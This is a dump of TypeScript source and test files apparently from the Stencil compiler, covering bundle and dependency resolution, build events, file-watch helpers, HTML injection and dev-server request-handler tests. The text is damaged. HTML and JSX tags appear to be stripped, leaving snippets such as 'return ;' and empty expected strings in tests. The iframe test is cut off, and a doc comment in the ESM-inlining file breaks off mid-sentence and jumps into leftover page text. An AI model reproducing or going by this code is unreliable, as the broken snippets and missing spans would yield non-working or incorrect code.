src/compiler/entries/component-graph.ts ================================================ import type * as d from '../../declarations'; import { getScopeId } from '../style/scope-css'; export const generateModuleGraph = (cmps: d.ComponentCompilerMeta[], bundleModules: ReadonlyArray) => { const cmpMap = new Map(); cmps.forEach((cmp) => { const bundle = bundleModules.find((b) => b.cmps.includes(cmp)); if (bundle) { // add default case for no mode cmpMap.set(getScopeId(cmp.tagName), bundle.rollupResult.imports); } }); return cmpMap; }; ================================================ FILE: src/compiler/entries/default-bundles.ts ================================================ import { buildError, buildWarn, flatOne, unique, validateComponentTag } from '@utils'; import type * as d from '../../declarations'; import { getUsedComponents } from '../html/used-components'; /** * Retrieve the component bundle groupings to be used when generating output * @param config the Stencil configuration used for the build * @param buildCtx the current build context * @param cmps the components that have been registered & defined for the current build * @returns the component bundling data */ export function getDefaultBundles( config: d.ValidatedConfig, buildCtx: d.BuildCtx, cmps: d.ComponentCompilerMeta[], ): readonly d.ComponentCompilerMeta[][] { // get all of the user defined bundles in the Stencil config file const userConfigEntryPoints = getUserConfigBundles(config, buildCtx, cmps); if (userConfigEntryPoints.length > 0) { // prefer user defined entry points over anything else Stencil may derive return userConfigEntryPoints; } let entryPointsHints = config.entryComponentsHint; if (!entryPointsHints && buildCtx.indexDoc) { // attempt to scan an HTML file for known Stencil components entryPointsHints = getUsedComponents(buildCtx.indexDoc, cmps); } if (!entryPointsHints) { return []; } const mainBundle = unique([ ...entryPointsHints, ...flatOne(entryPointsHints.map(resolveTag).map((cmp) => cmp.dependencies)), ]).map(resolveTag); function resolveTag(tag: string) { return cmps.find((cmp) => cmp.tagName === tag); } return [mainBundle]; } /** * Retrieve and validate the `bundles` field on a project's Stencil configuration file * @param config the configuration file with a `bundles` field to inspect * @param buildCtx the current build context * @param cmps the components that have been registered & defined for the current build * @returns a three dimensional array with the compiler metadata for each component used */ export function getUserConfigBundles( config: d.ValidatedConfig, buildCtx: d.BuildCtx, cmps: d.ComponentCompilerMeta[], ): readonly d.ComponentCompilerMeta[][] { const definedTags = new Set(); const entryTags = config.bundles.map((b: d.ConfigBundle) => { return b.components .map((tag: string) => { const tagError = validateComponentTag(tag); if (tagError) { const err = buildError(buildCtx.diagnostics); err.header = `Stencil Config`; err.messageText = tagError; } const component = cmps.find((cmp) => cmp.tagName === tag); if (!component) { const warn = buildWarn(buildCtx.diagnostics); warn.header = `Stencil Config`; warn.messageText = `Component tag "${tag}" is defined in a bundle but no matching component was found within this app or its collections.`; } if (definedTags.has(tag)) { const warn = buildWarn(buildCtx.diagnostics); warn.header = `Stencil Config`; warn.messageText = `Component tag "${tag}" has been defined multiple times in the "bundles" config.`; } definedTags.add(tag); return component; }) .sort(); }); return entryTags; } ================================================ FILE: src/compiler/entries/resolve-component-dependencies.ts ================================================ import { flatOne, unique } from '@utils'; import type * as d from '../../declarations'; /** * For each entry in the provided collection of compiler metadata, generate several lists: * - dependencies that the component has (both directly and indirectly/transitively) * - dependencies that the component has (only directly) * - components that are dependent on a particular component (both directly and indirectly/transitively) * - components that are dependent on a particular component (only directly) * * This information is stored directly on each entry in the provided collection * * @param cmps the compiler metadata of the components whose dependencies and dependents ought to be calculated */ export function resolveComponentDependencies(cmps: d.ComponentCompilerMeta[]): void { computeDependencies(cmps); computeDependents(cmps); } /** * Compute the direct and transitive dependencies for each entry in the provided collection of component metadata. * * This function mutates each entry in the provided collection. * * @param cmps the metadata for the components whose dependencies ought to be calculated. */ function computeDependencies(cmps: d.ComponentCompilerMeta[]): void { const visited = new Set(); cmps.forEach((cmp) => { resolveTransitiveDependencies(cmp, cmps, visited); cmp.dependencies = unique(cmp.dependencies).sort(); }); } /** * Compute the direct and transitive dependents for each entry in the provided collection of component metadata. * * @param cmps the component metadata whose entries will have their dependents calculated */ function computeDependents(cmps: d.ComponentCompilerMeta[]): void { cmps.forEach((cmp) => { resolveTransitiveDependents(cmp, cmps); }); } /** * Calculate the direct and transitive dependencies of a particular component. * * For example, given a component `foo-bar` whose `render` function references another web component `baz-buzz`: * ```tsx * // foo-bar.ts * render() { * return ; * } * ``` * where `baz-buzz` references `my-component`: * ```tsx * // baz-buzz.ts * render() { * return ; * } * ``` * this function will return ['baz-buzz', 'my-component'] when inspecting 'foo-bar', as 'baz-buzz' is directly used by * 'foo-bar', and 'my-component' is used by a component ('baz-buzz') that is being used by 'foo-bar'. * * This function mutates each entry in the provided collection. * * @param cmp the metadata for the component whose dependencies are being calculated * @param cmps the metadata for all components that participate in the current build * @param visited a collection of component metadata that has already been inspected * @returns a list of direct and transitive dependencies for the component being inspected */ function resolveTransitiveDependencies( cmp: d.ComponentCompilerMeta, cmps: d.ComponentCompilerMeta[], visited: Set, ): string[] { if (visited.has(cmp)) { // we've already inspected this component, return its dependency list return cmp.dependencies; } // otherwise, add the component to our collection to mark it as 'visited' visited.add(cmp); // create a collection of dependencies of web components that the build knows about const dependencies = unique(cmp.potentialCmpRefs.filter((tagName) => cmps.some((c) => c.tagName === tagName))); cmp.dependencies = cmp.directDependencies = dependencies; // get a list of dependencies of the current component's dependencies const transitiveDeps = flatOne( dependencies .map((tagName) => cmps.find((c) => c.tagName === tagName)) .map((c) => resolveTransitiveDependencies(c, cmps, visited)), ); return (cmp.dependencies = [...dependencies, ...transitiveDeps]); } /** * Generate and set the lists of components that are: * 1. directly _and_ indirectly (transitively) dependent on the component being inspected * 2. only directly dependent on the component being inspected * * This function assumes that the {@link d.ComponentCompilerMeta#dependencies} and * {@link d.ComponentCompilerMeta#directDependencies} properties are pre-populated for `cmp` and all entries in `cmps`. * * This function mutates the `dependents` and `directDependents` field on the provided `cmp` argument for both lists, * respectively. * * @param cmp the metadata for the component whose dependents are being calculated * @param cmps the metadata for all components that participate in the current build */ function resolveTransitiveDependents(cmp: d.ComponentCompilerMeta, cmps: d.ComponentCompilerMeta[]): void { // the dependents of a component are any other components that list it as a direct or transitive dependency cmp.dependents = cmps .filter((c) => c.dependencies.includes(cmp.tagName)) .map((c) => c.tagName) .sort(); // the dependents of a component are any other components that list it as a direct dependency cmp.directDependents = cmps .filter((c) => c.directDependencies.includes(cmp.tagName)) .map((c) => c.tagName) .sort(); } ================================================ FILE: src/compiler/events.ts ================================================ import type * as d from '../declarations'; export const buildEvents = (): d.BuildEvents => { const evCallbacks: EventCallback[] = []; const off = (callback: any) => { const index = evCallbacks.findIndex((ev) => ev.callback === callback); if (index > -1) { evCallbacks.splice(index, 1); return true; } return false; }; const on = (arg0: any, arg1?: any): d.BuildOnEventRemove => { if (typeof arg0 === 'function') { const eventName: null = null; const callback = arg0; evCallbacks.push({ eventName, callback, }); return () => off(callback); } else if (typeof arg0 === 'string' && typeof arg1 === 'function') { const eventName = arg0.toLowerCase().trim(); const callback = arg1; evCallbacks.push({ eventName, callback, }); return () => off(callback); } return () => false; }; const emit = (eventName: d.CompilerEventName, data: any) => { const normalizedEventName = eventName.toLowerCase().trim(); const callbacks = evCallbacks.slice(); for (const ev of callbacks) { if (ev.eventName == null) { try { ev.callback(eventName, data); } catch (e) { console.error(e); } } else if (ev.eventName === normalizedEventName) { try { ev.callback(data); } catch (e) { console.error(e); } } } }; const unsubscribeAll = () => { evCallbacks.length = 0; }; return { emit, on, unsubscribeAll, }; }; interface EventCallback { eventName: string | null; callback: Function; } ================================================ FILE: src/compiler/fs-watch/fs-watch-rebuild.ts ================================================ import { isOutputTargetDocsJson, isOutputTargetDocsVscode, isOutputTargetStats, isString, unique } from '@utils'; import { basename } from 'path'; import type * as d from '../../declarations'; export const filesChanged = (buildCtx: d.BuildCtx) => { // files changed include updated, added and deleted return unique([...buildCtx.filesUpdated, ...buildCtx.filesAdded, ...buildCtx.filesDeleted]).sort(); }; /** * Unary helper function mapping string to string and wrapping `basename`, * which normally takes two string arguments. This means it cannot be passed * to `Array.prototype.map`, but this little helper can! * * @param filePath a filepath to check out * @returns the basename for that filepath */ const unaryBasename = (filePath: string): string => basename(filePath); /** * Get the file extension for a path * * @param filePath a path * @returns the file extension (well, characters after the last `'.'`) or * `null` if no extension exists. */ const getExt = (filePath: string): string | null => { const fileParts = filePath.split('.'); return fileParts.length > 1 ? fileParts.pop()!.toLowerCase() : null; }; /** * Script extensions which we want to be able to recognize */ const SCRIPT_EXT = ['ts', 'tsx', 'js', 'jsx']; /** * Helper to check if a filepath has a script extension * * @param filePath a file extension * @returns whether the filepath has a script extension or not */ export const hasScriptExt = (filePath: string): boolean => { const ext = getExt(filePath); return ext ? SCRIPT_EXT.includes(ext) : false; }; const STYLE_EXT = ['css', 'scss', 'sass', 'pcss', 'styl', 'stylus', 'less']; /** * Helper to check if a filepath has a style extension * * @param filePath a file extension to check * @returns whether the filepath has a style extension or not */ export const hasStyleExt = (filePath: string): boolean => { const ext = getExt(filePath); return ext ? STYLE_EXT.includes(ext) : false; }; /** * Get all scripts from a build context that were added * * @param buildCtx the build context * @returns an array of filepaths that were added */ export const scriptsAdded = (buildCtx: d.BuildCtx): string[] => buildCtx.filesAdded.filter(hasScriptExt).map(unaryBasename); /** * Get all scripts from a build context that were deleted * * @param buildCtx the build context * @returns an array of deleted filepaths */ export const scriptsDeleted = (buildCtx: d.BuildCtx): string[] => buildCtx.filesDeleted.filter(hasScriptExt).map(unaryBasename); /** * Check whether a build has script changes * * @param buildCtx the build context * @returns whether or not there are script changes */ export const hasScriptChanges = (buildCtx: d.BuildCtx): boolean => buildCtx.filesChanged.some(hasScriptExt); /** * Check whether a build has style changes * * @param buildCtx the build context * @returns whether or not there are style changes */ export const hasStyleChanges = (buildCtx: d.BuildCtx): boolean => buildCtx.filesChanged.some(hasStyleExt); /** * Check whether a build has html changes * * @param config the current config * @param buildCtx the build context * @returns whether or not HTML files were changed */ export const hasHtmlChanges = (config: d.ValidatedConfig, buildCtx: d.BuildCtx): boolean => { const anyHtmlChanged = buildCtx.filesChanged.some((f) => f.toLowerCase().endsWith('.html')); if (anyHtmlChanged) { // any *.html in any directory that changes counts and rebuilds return true; } const srcIndexHtmlChanged = buildCtx.filesChanged.some((fileChanged) => { // the src index index.html file has changed // this file name could be something other than index.html return fileChanged === config.srcIndexHtml; }); return srcIndexHtmlChanged; }; export const updateCacheFromRebuild = (compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => { buildCtx.filesChanged.forEach((filePath) => { compilerCtx.fs.clearFileCache(filePath); }); buildCtx.dirsAdded.forEach((dirAdded) => { compilerCtx.fs.clearDirCache(dirAdded); }); buildCtx.dirsDeleted.forEach((dirDeleted) => { compilerCtx.fs.clearDirCache(dirDeleted); }); }; /** * Checks if a path is ignored by the watch configuration * * @param config The validated config for the Stencil project * @param path The path to check * @returns Whether the path is ignored by the watch configuration */ export const isWatchIgnorePath = (config: d.ValidatedConfig, path: string) => { if (!isString(path)) { return false; } const isWatchIgnore = (config.watchIgnoredRegex as RegExp[]).some((reg) => reg.test(path)); if (isWatchIgnore) { return true; } const outputTargets = config.outputTargets; const ignoreFiles = [ ...outputTargets.filter(isOutputTargetDocsJson).map((o) => o.file), ...outputTargets.filter(isOutputTargetDocsJson).map((o) => o.typesFile), ...outputTargets.filter(isOutputTargetStats).map((o) => o.file), ...outputTargets.filter(isOutputTargetDocsVscode).map((o) => o.file), ]; if (ignoreFiles.includes(path)) { return true; } return false; }; ================================================ FILE: src/compiler/html/add-script-attr.ts ================================================ import { join } from '@utils'; import type * as d from '../../declarations'; import { getAbsoluteBuildDir } from './html-utils'; export const addScriptDataAttribute = (config: d.ValidatedConfig, doc: Document, outputTarget: d.OutputTargetWww) => { const resourcesUrl = getAbsoluteBuildDir(outputTarget); const entryEsmFilename = `${config.fsNamespace}.esm.js`; const entryNoModuleFilename = `${config.fsNamespace}.js`; const expectedEsmSrc = join(resourcesUrl, entryEsmFilename); const expectedNoModuleSrc = join(resourcesUrl, entryNoModuleFilename); const scripts = Array.from(doc.querySelectorAll('script')); const scriptEsm = scripts.find((s) => s.getAttribute('src') === expectedEsmSrc); const scriptNomodule = scripts.find((s) => s.getAttribute('src') === expectedNoModuleSrc); if (scriptEsm) { scriptEsm.setAttribute('data-stencil', ''); } if (scriptNomodule) { scriptNomodule.setAttribute('data-stencil', ''); } }; ================================================ FILE: src/compiler/html/canonical-link.ts ================================================ export const updateCanonicalLink = (doc: Document, href?: string) => { // https://webmasters.googleblog.com/2009/02/specify-your-canonical.html // let canonicalLinkElm = doc.head.querySelector('link[rel="canonical"]'); if (typeof href === 'string') { // have a valid href to add if (canonicalLinkElm == null) { // don't have a element yet, create one canonicalLinkElm = doc.createElement('link'); canonicalLinkElm.setAttribute('rel', 'canonical'); doc.head.appendChild(canonicalLinkElm); } // set the href attribute canonicalLinkElm.setAttribute('href', href); } else { // don't have a href if (canonicalLinkElm != null) { // but there is a canonical link in the head so let's remove it const existingHref = canonicalLinkElm.getAttribute('href'); if (!existingHref) { canonicalLinkElm.parentNode?.removeChild(canonicalLinkElm); } } } }; ================================================ FILE: src/compiler/html/html-utils.ts ================================================ import { join, relative } from '@utils'; import type * as d from '../../declarations'; /** * Get the path to the build directory where files written for the `www` output * target should be written. * * @param outputTarget a www output target of interest * @returns a path to the build directory for that output target */ export const getAbsoluteBuildDir = (outputTarget: d.OutputTargetWww): string => { const relativeBuildDir = relative(outputTarget.dir, outputTarget.buildDir); return join('/', relativeBuildDir) + '/'; }; ================================================ FILE: src/compiler/html/inject-module-preloads.ts ================================================ import { join } from '@utils'; import type * as d from '../../declarations'; import { getAbsoluteBuildDir } from './html-utils'; export const optimizeCriticalPath = (doc: Document, criticalBundlers: string[], outputTarget: d.OutputTargetWww) => { const buildDir = getAbsoluteBuildDir(outputTarget); const paths = criticalBundlers.map((path) => join(buildDir, path)); injectModulePreloads(doc, paths); }; export const injectModulePreloads = (doc: Document, paths: string[]) => { const existingLinks = (Array.from(doc.querySelectorAll('link[rel=modulepreload]')) as HTMLLinkElement[]).map((link) => link.getAttribute('href'), ); const addLinks = paths.filter((path) => !existingLinks.includes(path)).map((path) => createModulePreload(doc, path)); const head = doc.head; const firstScript = head.querySelector('script'); if (firstScript) { for (const link of addLinks) { head.insertBefore(link, firstScript); } } else { for (const link of addLinks) { head.appendChild(link); } } }; const createModulePreload = (doc: Document, href: string) => { const link = doc.createElement('link'); link.setAttribute('rel', 'modulepreload'); link.setAttribute('href', href); return link; }; ================================================ FILE: src/compiler/html/inject-sw-script.ts ================================================ import type * as d from '../../declarations'; import { getRegisterSW, UNREGISTER_SW } from '../service-worker/generate-sw'; import { generateServiceWorkerUrl } from '../service-worker/service-worker-util'; export const updateIndexHtmlServiceWorker = async ( config: d.ValidatedConfig, buildCtx: d.BuildCtx, doc: Document, outputTarget: d.OutputTargetWww, ) => { const serviceWorker = outputTarget.serviceWorker; if (serviceWorker !== false) { if ((serviceWorker && serviceWorker.unregister) || (!serviceWorker && config.devMode)) { injectUnregisterServiceWorker(doc); } else if (serviceWorker) { await injectRegisterServiceWorker(buildCtx, outputTarget, doc); } } }; const injectRegisterServiceWorker = async (buildCtx: d.BuildCtx, outputTarget: d.OutputTargetWww, doc: Document) => { const swUrl = generateServiceWorkerUrl(outputTarget, outputTarget.serviceWorker as d.ServiceWorkerConfig); const serviceWorker = getRegisterSwScript(doc, buildCtx, swUrl); doc.body.appendChild(serviceWorker); }; const injectUnregisterServiceWorker = (doc: Document) => { const script = doc.createElement('script'); script.innerHTML = UNREGISTER_SW; doc.body.appendChild(script); }; const getRegisterSwScript = (doc: Document, buildCtx: d.BuildCtx, swUrl: string) => { const script = doc.createElement('script'); script.setAttribute('data-build', `${buildCtx.timestamp}`); script.innerHTML = getRegisterSW(swUrl); return script; }; ================================================ FILE: src/compiler/html/inline-esm-import.ts ================================================ import { isString, join } from '@utils'; import ts from 'typescript'; import type * as d from '../../declarations'; import { generateHashedCopy } from '../output-targets/copy/hashed-copy'; import { getAbsoluteBuildDir } from './html-utils'; import { injectModulePreloads } from './inject-module-preloads'; /** * Attempt to optimize an ESM import of the main entry point for a `www` build * by inlining the imported script within the supplied HTML document, if * possible. * * This will only do this for a ` Initializing First Build...
Initializing First Build...

  
================================================ FILE: src/dev-server/test/Diagnostic.stub.ts ================================================ import * as d from '@stencil/core/declarations'; /** * Generates a stub {@link d.Diagnostic}. This function uses sensible defaults for the initial stub. However, * any field in the object may be overridden via the `overrides` argument. * @param overrides a partial implementation of `Diagnostic`. Any provided fields will override the defaults provided * by this function. * @returns the stubbed `Diagnostic` */ export const stubDiagnostic = (overrides: Partial = {}): d.Diagnostic => { const defaults: d.Diagnostic = { absFilePath: undefined, header: 'Mock Error', level: 'error', lines: [], messageText: 'mock error', relFilePath: undefined, type: 'mock', }; return { ...defaults, ...overrides }; }; ================================================ FILE: src/dev-server/test/dev-server-utils.spec.ts ================================================ import { isCssFile, isHtmlFile } from '../dev-server-utils'; describe('dev-server-utils', () => { describe('isHtmlFile', () => { it.each(['.html', 'foo.html', 'foo/bar.html'])('returns true for .html files (%s)', (filename) => { expect(isHtmlFile(filename)).toEqual(true); }); it.each(['.htm', 'foo.htm', 'foo/bar.htm'])('returns true for .htm files (%s)', (filename) => { expect(isHtmlFile(filename)).toEqual(true); }); it.each(['.ht', 'foo.htmx', 'foo/bar.xaml'])('returns false for other types of files (%s)', (filename) => { expect(isHtmlFile(filename)).toEqual(false); }); it.each(['.hTMl', 'foo.HTML', 'foo/bar.htmL'])('is case insensitive for filename (%s)', (filename) => { expect(isHtmlFile(filename)).toEqual(true); }); }); describe('isCssFile', () => { it.each(['.css', 'foo.css', 'foo/bar.css'])('returns true for .css files (%s)', (filename) => { expect(isCssFile(filename)).toEqual(true); }); it.each(['.txt', 'foo.sass', 'foo/bar.htm'])('returns false for other types of files (%s)', (filename) => { expect(isCssFile(filename)).toEqual(false); }); it.each(['.cSs', 'foo.cSS', 'foo/bar.CSS'])('is case insensitive for filename (%s)', (filename) => { expect(isCssFile(filename)).toEqual(true); }); }); }); ================================================ FILE: src/dev-server/test/req-handler.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { mockConfig, mockLoadConfigInit } from '@stencil/core/testing'; import { normalizePath } from '@utils'; import nodeFs from 'fs'; import type { IncomingMessage, ServerResponse } from 'http'; import path from 'path'; import { validateConfig } from '../../compiler/config/validate-config'; import { validateDevServer } from '../../compiler/config/validate-dev-server'; import { createSystem } from '../../compiler/sys/stencil-sys'; import { createRequestHandler } from '../request-handler'; import { appendDevServerClientIframe } from '../serve-file'; import { createServerContext } from '../server-context'; describe('request-handler', () => { let devServerConfig: d.DevServerConfig; let serverCtx: d.DevServerContext; let sys: d.CompilerSystem; let req: IncomingMessage; let res: TestServerResponse; let sendMsg: d.DevServerSendMessage; const root = path.resolve('/'); const tmplDirPath = normalizePath(path.join(__dirname, '..', 'templates', 'directory-index.html')); const tmplDir = nodeFs.readFileSync(tmplDirPath, 'utf8'); beforeEach(async () => { sys = createSystem(); const validated = validateConfig(mockConfig(), mockLoadConfigInit()); const stencilConfig = validated.config; stencilConfig.flags.serve = true; stencilConfig.devServer = { devServerDir: normalizePath(path.join(__dirname, '..')), root: normalizePath(path.join(root, 'www')), basePath: '/', }; await sys.createDir(stencilConfig.devServer.root); await sys.writeFile(path.join(stencilConfig.devServer.devServerDir, 'templates', 'directory-index.html'), tmplDir); devServerConfig = validateDevServer(stencilConfig, []); req = {} as any; res = {} as any; res.writeHead = (statusCode: number, headers: any): any => { res.$statusCode = statusCode; res.$headers = headers; res.$contentType = headers && headers['content-type']; }; res.write = (content: any) => { res.$contentWrite = content; return true; }; res.end = () => { res.$content = res.$contentWrite; return this; }; sendMsg = () => {}; serverCtx = createServerContext(sys, sendMsg, devServerConfig, [], []); }); describe('historyApiFallback', () => { it('should load historyApiFallback index.html when dot in the url disableDotRule true', async () => { await sys.writeFile(path.join(root, 'www', 'index.html'), `root-index`); devServerConfig.historyApiFallback = { index: 'index.html', disableDotRule: true, }; const handler = createRequestHandler(devServerConfig, serverCtx); req.headers = { accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', }; req.url = '/about.us'; req.method = 'GET'; await handler(req, res); expect(res.$statusCode).toBe(200); }); it('should not load historyApiFallback index.html when dot in the url', async () => { await sys.writeFile(path.join(root, 'www', 'index.html'), `root-index`); devServerConfig.historyApiFallback = { index: 'index.html', }; const handler = createRequestHandler(devServerConfig, serverCtx); req.headers = { accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', }; req.url = '/about.us'; req.method = 'GET'; await handler(req, res); expect(res.$statusCode).toBe(404); }); it('should not load historyApiFallback index.html when no text/html accept header', async () => { await sys.writeFile(path.join(root, 'www', 'index.html'), `root-index`); devServerConfig.historyApiFallback = { index: 'index.html', }; const handler = createRequestHandler(devServerConfig, serverCtx); req.headers = { accept: '*/*', }; req.url = '/about-us'; req.method = 'GET'; await handler(req, res); expect(res.$statusCode).toBe(404); }); it('should not load historyApiFallback index.html when not GET request', async () => { await sys.writeFile(path.join(root, 'www', 'index.html'), `root-index`); devServerConfig.historyApiFallback = { index: 'index.html', }; const handler = createRequestHandler(devServerConfig, serverCtx); req.headers = { accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', }; req.url = '/about-us'; req.method = 'POST'; await handler(req, res); expect(res.$statusCode).toBe(404); }); it('should load historyApiFallback index.html when no trailing slash', async () => { await sys.writeFile(path.join(root, 'www', 'index.html'), `root-index`); devServerConfig.historyApiFallback = { index: 'index.html', }; const handler = createRequestHandler(devServerConfig, serverCtx); req.headers = { accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', }; req.url = '/about-us'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('root-index'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('should load historyApiFallback index.html when trailing slash', async () => { await sys.writeFile(path.join(root, 'www', 'index.html'), `root-index`); devServerConfig.historyApiFallback = { index: 'index.html', }; const handler = createRequestHandler(devServerConfig, serverCtx); req.headers = { accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', }; req.url = '/about-us/'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('root-index'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('should list directory when ended in slash and not using historyApiFallback', async () => { await sys.createDir(path.join(root, 'www', 'about-us')); await sys.writeFile(path.join(root, 'www', 'about-us', 'somefile1.html'), `somefile1`); await sys.writeFile(path.join(root, 'www', 'about-us', 'somefile2.html'), `somefile2`); devServerConfig.historyApiFallback = null; const handler = createRequestHandler(devServerConfig, serverCtx); req.headers = { accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', }; req.url = '/about-us/'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('tmpl-dir'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); }); describe('serve directory index', () => { it('should load index.html in directory', async () => { await sys.createDir(path.join(root, 'www', 'about-us')); await sys.writeFile(path.join(root, 'www', 'about-us.html'), `about-us.html page`); await sys.writeFile(path.join(root, 'www', 'about-us', 'index.html'), `about-us-index-directory`); devServerConfig.historyApiFallback = null; const handler = createRequestHandler(devServerConfig, serverCtx); req.headers = { accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', }; req.url = '/about-us/'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('about-us-index-directory'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('should redirect directory w/ slash', async () => { await sys.createDir(path.join(root, 'www', 'about-us')); await sys.writeFile(path.join(root, 'www', 'about-us', 'somefile1.html'), `somefile1`); await sys.writeFile(path.join(root, 'www', 'about-us', 'somefile2.html'), `somefile2`); devServerConfig.historyApiFallback = {}; const handler = createRequestHandler(devServerConfig, serverCtx); req.headers = { accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', }; req.url = '/about-us'; await handler(req, res); expect(res.$statusCode).toBe(302); expect(res.$headers.location).toBe('/about-us/'); }); it('get directory index.html with no trailing slash', async () => { await sys.createDir(path.join(root, 'www', 'about-us')); await sys.writeFile(path.join(root, 'www', 'about-us', 'index.html'), `aboutus`); const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/about-us'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('aboutus'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('get directory index.html with trailing slash and base url', async () => { devServerConfig.basePath = '/my-base-url/'; await sys.createDir(path.join(root, 'www', 'about-us')); await sys.writeFile(path.join(root, 'www', 'about-us', 'index.html'), `aboutus`); const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/my-base-url/about-us/'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('aboutus'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('get directory index.html without trailing slash and base url', async () => { devServerConfig.basePath = '/my-base-url/'; await sys.createDir(path.join(root, 'www', 'about-us')); await sys.writeFile(path.join(root, 'www', 'about-us', 'index.html'), `aboutus`); const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/my-base-url/about-us'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('aboutus'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('get directory index.html with trailing slash', async () => { await sys.createDir(path.join(root, 'www', 'about-us')); await sys.writeFile(path.join(root, 'www', 'about-us', 'index.html'), `aboutus`); const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/about-us/'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('aboutus'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); }); describe('error not found static files', () => { it('not find file', async () => { const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/www/index.html'; await handler(req, res); expect(res.$statusCode).toBe(404); expect(res.$content).toContain('/index.html'); expect(res.$contentType).toBe('text/plain; charset=utf-8'); }); }); describe('root index', () => { it('serve directory listing when no index.html', async () => { await sys.writeFile(path.join(root, 'www', 'styles.css'), `/* hi */`); await sys.writeFile(path.join(root, 'www', 'scripts.js'), `// hi`); await sys.writeFile(path.join(root, 'www', '.gitignore'), `# gitignore`); const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('tmpl-dir'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('serve root index.html w/ querystring', async () => { await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`); devServerConfig.gzip = false; const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/?qs=123'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('hello'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('serve root index.html w/ base url without url trailing slash', async () => { devServerConfig.basePath = '/my-base-url/'; await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`); const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/my-base-url'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('hello'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('serve root index.html w/ base url without trailing slash, with trailing slash url', async () => { devServerConfig.basePath = '/my-base-url'; await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`); const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/my-base-url/'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('hello'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('serve root index.html w/ base url w/ index.html', async () => { devServerConfig.basePath = '/my-base-url/'; await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`); const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/my-base-url/index.html'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('hello'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('serve root index.html w/ base url', async () => { devServerConfig.basePath = '/my-base-url/'; await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`); const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/my-base-url/'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('hello'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('serve root index.html', async () => { await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`); const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content).toContain('hello'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('302 redirect to / when no path at all', async () => { await sys.writeFile(path.join(root, 'www', 'index.html'), `hello`); const handler = createRequestHandler(devServerConfig, serverCtx); req.url = ''; await handler(req, res); expect(res.$statusCode).toBe(302); expect(res.$headers.location).toBe('/'); }); }); describe('serve static text files', () => { it('should load file w/ querystring', async () => { await sys.writeFile(path.join(root, 'www', 'scripts', 'file1.html'), `html`); const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/scripts/file1.html?qs=1234'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content.split('\n')[0]).toContain('html'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); it('should load html file', async () => { await sys.writeFile(path.join(root, 'www', 'scripts', 'file1.html'), `html`); const handler = createRequestHandler(devServerConfig, serverCtx); req.url = '/scripts/file1.html'; await handler(req, res); expect(res.$statusCode).toBe(200); expect(res.$content.split('\n')[0]).toContain('html'); expect(res.$contentType).toBe('text/html; charset=utf-8'); }); }); describe('iframe connector', () => { it('appends to ', () => { const h = appendDevServerClientIframe(`88mph`, ``); expect(h).toBe(`88mph`); }); it('appends to ', () => { const h = 